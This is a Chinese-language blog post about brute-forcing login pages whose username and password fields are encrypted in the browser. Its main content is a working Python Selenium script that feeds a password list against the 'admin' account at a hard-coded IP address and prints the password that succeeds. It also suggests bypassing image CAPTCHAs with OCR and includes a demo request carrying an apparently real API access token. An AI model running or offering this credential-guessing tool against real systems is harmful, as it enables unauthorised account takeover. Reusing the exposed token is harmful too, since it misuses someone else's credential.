对于用户名密码前端加密的爆破

前言

目前越来越多的网站系统在登录接口、数据请求接口中加入各式各样的加密算法,甚至有些网站在每次请求前都动态请求加密密钥等措施,对接口渗透工作造成较大障碍,简单对登录接口暴力破解时字段被加密,如何处理加密内容进行暴破来进行一个简单思路的分享。

常规思路

前端js逆向,通过对js里的加密算法进行破解,或者是理清加密流程,然后利用自己熟知的编程语言实现同样的加密方式,写一个效果一样的加密方式,然后把代码嵌入到发包爆破代码里,这种方式字典里账号密码传入的时候,先进行加密再传给登录请求。

但这种方式遇到较为复杂的加密算法需要的成本就比较多。

Selenium模拟浏览器登陆

可以利用selenium webdriver,本地驱动一个浏览器,完全模拟浏览器的操作,实现浏览器自动登录爆破。

因为是模拟人操作浏览器真实行为,所以数据会自动在前端走一遍加密流程。

# -*- encoding: UTF-8 -*-

"""
@author: Cuerz
@time: 2023/7/15 22:11 
"""

import time
import requests
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.action_chains import ActionChains

def pass_read(file_path):
    pass_list = []
    # 打开文件并按行读取
    with open(file_path, 'r') as file:
        for line in file:
            # 去除行尾的换行符,并将每行添加到数组中
            pass_list.append(line.strip())
    return pass_list

def main():
    url = '<http://183.67.33.118:3000/webpages/login.html>'
    options = webdriver.ChromeOptions()
    # 浏览器使用静默模式
    # options.add_argument("headless")
    driver = webdriver.Chrome("./chromedriver.exe", options=options)
    driver.get(url)
    time.sleep(3)

    # 读取字典
    pass_list = pass_read('./pass.txt')
    for password in pass_list:
        # 定位元素
        find_login_box = driver.find_elements(By.XPATH,'//input')[0]
        find_pass_box = driver.find_elements(By.XPATH,'//input')[2]
        find_button = driver.find_element(by=By.XPATH, value='//div[@id="login-btn"]')
        # 清空输入框
        find_login_box.clear()
        find_pass_box.clear()
        
        find_login_box.send_keys("admin")
        find_pass_box.send_keys(password)

        time.sleep(2)
        find_button.click()

        if driver.current_url=='<http://183.67.33.118:3000/webpages/login.html>':
            print("当前密码不正确:"+ password)
        else:
            print("登录成功密码为:" + password)

    time.sleep(5)
    driver.quit()

    # pass

if __name__ == '__main__':
    main()

 

效果如下

可以通过修改chromedriver启动方式为静默模式来提高运行速率,通常花费的时间会比逆向js少。只需要定位到输入框元素位置即可,剩下来的就是比拼字典的强弱了。

其次有些可能存在图片验证码的,再加上ocr识别即可,但识别的准确率不能做到百分之百。

https://cloud.baidu.com/doc/OCR/s/Ck3h7y2ia

demo代码如下

import requests

img = ''
request_url = '<https://aip.baidubce.com/rest/2.0/ocr/v1/general?access_token=24.df7a83d543f70d935281933785ef11a2.2592000.1692065279.282335-36236602>'
ocr_headers = {'content-type': 'application/x-www-form-urlencoded'}
params = {"image": img}
response = requests.post(request_url, data=params, headers=ocr_headers)
posted @ 2023-08-24 10:28  小小小怪将军  阅读(224)  评论(0编辑  收藏  举报